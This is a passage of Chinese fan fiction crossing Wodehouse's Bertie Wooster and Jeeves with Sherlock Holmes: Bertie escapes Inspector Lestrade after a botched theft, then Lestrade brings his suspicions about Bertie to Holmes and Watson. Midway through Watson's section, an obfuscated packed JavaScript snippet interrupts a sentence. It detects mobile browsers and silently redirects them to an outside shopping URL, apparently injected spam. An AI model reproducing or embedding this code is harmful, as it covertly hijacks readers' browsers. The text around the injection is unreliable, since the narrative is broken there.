我的脑子顿时清醒过来,意识到这个局面的糟糕之处。一声巨响,那是店主的惨叫伴随着探长的怒吼,我唯一能做出的反应就是爬起来把帽子往头上一扣,接着手脚并用地穿过房梁,朝着来时的缺口逃去。
“站住!我要开枪了!”
我浑身发麻,双手抓住缺口边缘往上一窜,随后我听到“砰”地一声,子弹打中了手边的石砖。
我双腿用力一蹬,跃出了房子,慌张地在屋顶查看逃跑路线。
“可耻的罪犯!这里是苏格兰场的雷斯垂德探长,现在立刻举手投降,否则——”
“啊!”
我尖叫着朝吉福斯停车的方位跑去,跌跌撞撞地爬下排水管,踩着积水和烂菜叶一路向前,在昏暗灯光下冲到街角,终于看到了我的救星。
“吉福斯,快开车!”
我跳入副驾驶,吉福斯在旁边问道:“先生,你是否成功拿到了……”
“别管那个了!警察!”
我看到探长的身影已经出现在巷子口,恨不得伸手去夺方向盘。吉福斯显然意识到了危险,立刻发动汽车,带着我甩开紧追不舍的探长。
看着那要命的身影终于消失在视野里,我只觉得口干舌燥,浑身热得发烫,后脑勺像是被人当头一棒,整个人晕晕乎乎的。
我瘫倒在座位里大口喘气,吉福斯关切地说:“你需要松开领带,先生。”
“好主意。”我扯开领带,干脆再解开几颗扣子。惊魂过后我只觉得倍感委屈和难过,如果不是他还在开车,我真想扑在他肩膀上搂住脖子掉眼泪。
“哦,吉福斯,我怎么这么倒霉呀。”
“意外在所难免。没有让警察看见你的脸吧,先生?”
“事实就是那么糟糕。”我沮丧而焦躁地说,“那位探长不仅看清了我的长相,他还认识我。还记得我和你提起过的有一顶漂亮帽子的探长吗?”
“记得,先生。说起帽子,可以解释下这是什么意思吗?”
“什么什么意思?”
“往后看,先生。”
我转过身,看到后座上是事先准备的梯子和工具箱,上面搭着我的大衣、西装外套和帽子。
“如果放在工具箱上的是你的帽子,那么现在你戴着的是什么,先生?”
我往头上一摸:“对啊!我说的就是这顶帽子!你瞧,吉福斯,那时候探长就站在房梁下面,我一伸手就能够着它。然后我就迷糊了呀,被蛊惑了呀,你说这是不是极漂亮的帽子?”
“如果你这么觉得,先生。”他冷冷地说。
我知道我做得过分了,又是袜子又是帽子,吉福斯别提有多生气,觉得我不够听话。但没办法,他的主人我也是有自己的坚持的,世上很难凡事都尽如人意。
气氛僵硬,之后的路程里他一言不发,我头脑昏沉。连夜赶路回去,天蒙蒙亮我们才抵达布林克里宅邸。仆人们都还在睡觉,院子里静悄悄的,只有达利娅姑妈在窗口探头探脑。
“你终于回来了,小讨厌鬼。”她兴奋地说,“如何?”
“我和吉福斯吵了一架。”
她困惑地问:“吵了一架?不,我不是问你和吉福斯,我问你金币怎么样了?你偷到了吗?”
“金币?”我糊涂了,“什么金币?”
“我让你去偷的金币呀?叫你汤姆姑父茶饭不思的金币。”
“啊,金币!我——”我卡壳了,“我忘了。”
“你忘了?”
“忘了。”
“可你不是去了吗?怎么就能忘了?”
“这件事说来话长,姑妈。你知道男人内心里的火热有时候就是那么突然,我想起上个月在皇家大剧院看的戏剧,主要讲一个裁缝在马路上看到一辆脚踏车……”
“伯蒂!”达利娅姑妈打断我的回忆,“你真是天下第一大傻瓜!”
******
******
华生医生的手稿(一)
1919年3月5日。
我亲爱的同居人歇洛克·福尔摩斯破案是为了解开谜团、追逐刺激,而不寻求名利。多年以来,他为苏格兰场解开了许多棘手的困难,是全世界独一无二的“咨询侦探”。
下午茶过后,我倚靠在窗边整理上个案子的手稿,余光瞥见楼下熟悉的面孔被房东哈德森太太迎进门。
“雷斯垂德探长来拜访我们了。”福尔摩斯在暖气片边上懒洋洋地说。近日来的阴雨绵绵让衣物都带着寒潮,他把烟丝从波斯拖鞋里拿出来,排在散热片上烘烤。
“你怎么……准是听见了他独一无二的脚步声,福尔摩斯。”
“不,我亲爱的华生。”他微微一笑,双指捏起茶几上的纸片,“他昨天让人送过信。”
我发出牦牛似的笑声,让走进客厅的雷斯垂德警探十分迷惑。他气喘吁吁,手里转着顶带有羽毛的时髦扁帽,迫不及待地在桌边坐下。
“劳驾,华生医生,没有人在街角跟踪我吧?”
我探头朝窗外看去:“都是贝克街的熟人。怎么了,探长?你看起来像是被野猪追了五里地。”
他伸直双腿,惊魂未定地喝了口哈德森太太端上来的红茶,才说:“两位还记得我之前在追查外国强盗团伙有关的案件吧?”
他把一双黑色皮质手套递给福尔摩斯。我的朋友来了精神,叼着烟斗里外仔细检查着:“非常精致的羊皮,高档货,但是纽扣疏于打理已经生锈,属于二手商品。里侧原本用绣线缝制了名字或者家徽,已被拆去,可能是不想让人看出是二手,又或者干脆是偷的。”
“这是其中一位嫌疑人的。”探长说,“我跟踪他们到了赌马站,碰巧有个贵族子弟捡到这双手套,交给我并拜托我找到失主。”
“贵族子弟?”我疑惑道,“这又是怎么回事?”
“说来话长……唉!福尔摩斯先生,华生医生,这就是我慌张的原因,我怀疑那强盗团伙背后有上头的势力在支持,这让我对自己的人生安全起了担忧之心。”
“所以你认为来贝克街的路上被反跟踪了。”福尔摩斯说。
他充满畏惧地点头:“你对多佛街的无事忙俱乐部知道多少,福尔摩斯?”
我知道我的朋友需要什么,连忙从扶手椅上站起身,从书柜里拿出记载了各种事项的名录。
“D开头……Dhorns Club(无事忙俱乐部),在这儿,福尔摩斯。”我凑到台灯前,和福尔摩斯一起阅读着资料,“位于伦敦梅菲尔区皮卡迪利附近的多佛街。它并不是顶级俱乐部,而是游
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283852|198395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手好闲的贵族子弟聚集之地,通常举办毫无意义的体育比赛,或组织游走在法律边缘的小偷小摸,俱乐部超过一半的成员都曾因为扰乱治安被送上法庭……天啊,福尔摩斯,这简直就是个滋生犯罪的温床。”
“越是往权利阶层的上方爬,越能看见超出你想象的邪恶犯罪。”福尔摩斯也认真起来,他合上书,锐利的目光在手套上停留了几秒。
“我猜你已经去过俱乐部了,雷斯垂德?”
“正因为如此,才把我推入了危险境地。”探长像水牛一样拼命灌着茶,“我在和交给我手套的人说话时,发现有位非常可疑的年轻人盯着我看。我察觉之后,他丝毫不避讳,主动上来打招呼,我当时并没有怀疑他。但几小时后,我跟踪强盗团伙去了牛津街的福南梅森咖啡馆,那人竟然偷偷溜到我的背后,举着手杖想要袭击我。”
我倒抽一口冷气:“在牛津街?这也太无法无天了!”
“幸好我机敏,没让他得手。他大言不惭地说了堆什么花栗鼠之类的胡言乱语,然后大摇大摆地走进咖啡馆,和那伙强盗会面。”
我为雷斯垂德捏了把汗,福尔摩斯也走到他背后,在脑子里模拟当时的场景。他把手指交叉放在嘴前,眼珠转动着:“你知道他的名字吗,雷斯垂德?”
“伯特伦·威尔博福斯·伍斯特。我偷偷返回俱乐部打听过,每个我询问的人都说伍斯特先生是个傻瓜。他肯定给了他们封口费,或是威胁他们撒谎,口径太统一了,不可能所有人都觉得他是傻瓜。但我担心引起眼线们的注意,不敢多问,估计下次也没法去了。贵族们都沾亲带故,我这个生面孔太显眼。”
“你是对的,雷斯垂德。”福尔摩斯矫健地跃上沙发,抓过纸笔开始书写,“我哥哥在政府有一些人脉,也许他能知道伍斯特先生的信息,我帮你问问他。”
我也安慰道:“你放心,探长,在正义的福尔摩斯面前,再大的权势也是徒劳。不过,我记得你说那伙外国强盗也是有头有脸的人物,说不定这里面的水比我们想象得还深,你出门可万事小心。”
“我不这么认为。”唰唰书写的福尔摩斯反驳道,“给你手套的人都说了什么?”
“那家伙是个白痴,什么都记不清。只知道女嫌疑人脸蛋好看,男嫌疑人系着马蹄铁图案的领带。”
我看到精光在福尔摩斯眼中一闪。
“如果他记忆没出错的话,我可以确定,那两人的确是冒牌的西班牙贵族。”
看他这么笃定,我好奇地问道:“你甚至没见过他们,福尔摩斯。你那套演绎法是怎么用上的?”
“很简单,我亲爱的医生:真正的贵族绝不会戴马蹄铁图案的领带。”
我和雷斯垂德探长都愣了一下,然后哈哈大笑起来。
“这太荒谬了!”我捧着肚子,“如果你告诉我,你从不小心滴在胸前的果酱推断出对方刚在利兹饭店用过餐;又或者根据领带打结的方向,推测他是个左撇子,我都相信你。但你说贵族不应该喜欢马蹄铁?”
见我和雷斯垂德探长跌倒在沙发上,福尔摩斯对我们的态度很不满,把嘴一撇:“尽情地笑吧,两位,你们压根就没这方面的熏陶。但事实如此,一位合格的绅士守则就是这样,世界上肯定还有另一个人同意我的观点。”